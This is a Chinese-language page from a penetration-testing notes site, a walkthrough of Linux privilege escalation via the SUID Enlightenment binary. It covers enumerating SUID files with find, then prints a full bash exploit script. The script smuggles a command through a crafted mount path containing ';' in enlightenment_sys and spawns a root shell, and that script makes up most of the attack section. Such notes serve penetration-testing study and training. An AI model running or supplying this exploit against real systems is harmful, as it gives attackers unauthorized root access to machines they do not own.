> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-enlightenment-linux-privilege-escalation.md).
# SUID（Enlightenment）- Linux 权限提升
## 这是什么
SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID（Enlightenment）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
find / -perm -4000 -type f 2>/dev/null
```
## 示例
我们首先搜索属于我们用户的 SUID 文件。为此，执行以下命令：
```bash
find / -perm -4000 2>/dev/null
```
通过分析输出，我们注意到存在二进制文件 **enlightenment**.
我们正在研究与该二进制文件相关的漏洞。经过一些研究后，我们找到了适用于版本的一个可用利用方式 **0.25.4**.
{% embed url="" %}
然而，通过检查系统上当前安装的 Enlightenment 版本，我们发现这是较旧的版本 **0.23.1**.
我们测试以下利用方式来利用该漏洞：
```bash
#!/usr/bin/bash
file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```
```bash
./exploit.sh
```
执行利用后，我们获得了具有 root 权限的 shell。
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